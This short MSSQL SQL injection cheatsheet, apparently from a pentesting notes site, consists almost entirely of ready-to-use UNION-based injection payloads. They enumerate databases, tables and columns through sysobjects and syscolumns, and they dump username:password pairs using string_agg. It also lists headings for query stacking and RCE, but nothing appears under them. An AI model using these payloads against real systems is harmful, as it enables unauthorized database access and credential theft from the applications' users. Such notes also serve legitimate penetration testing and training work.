MSSQL Cheatsheet
Database names and ID's
user
db_name(5)
union select name,id from <db>..sysobjects where xtype='u'-- -
union select concat(name,':',id) from <db>..sysobjects where xtype='u'-- -
union select 1,(select string_agg(concat(name,':',id), '|') from <db>..sysobjects where xtype='u')-- -Select @@version;
Select name from sys.databases;
select * from master.information_schema.tables;
select * from master..users;Enumerate columns
union select (select string_agg(name, '|') from <db>..syscolumns where id='<dbID>')Dump columns
union select 1,(select string_agg(concat(username,':',password), '|') from <table>)-- -Query stacking with ;
RCE
Last updated